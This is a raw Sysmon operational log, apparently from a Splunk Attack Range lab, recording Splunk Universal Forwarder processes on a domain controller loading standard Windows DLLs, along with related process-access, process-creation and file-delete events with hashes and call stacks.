Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000057475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000057474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000057473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000057472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000057471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000057470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000057469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000057467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000057465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000057464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exeMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165trueSplunk, Inc.Valid 10341000x800000000000000057462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000057457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000057456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.289{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018467Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:18.693{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=63F3FD3DBFE44BD8C5B9E6F46587334B,SHA256=13F93592F183FF92F7EE8923CD49481050D24B12D7E4726F48D89BD7E1E74044,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000057617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.757{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000057616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.741{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000057615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.741{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000057614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.585{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4805F173D7F27378361D66DB034BBCE4,SHA256=1D0B94EBEC06B5FD3F85288AF24F869679C3C741E34FDDC909AFFB6B6D2A84CA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000057613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.491{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000057612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.491{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000057611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.491{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000057610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.491{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000057609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.491{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000057608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.476{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000057607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.476{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000057606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.476{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000057605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.476{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000057604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.476{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000057603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.476{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000057602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.476{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000057601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000057600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000057599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000057598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® 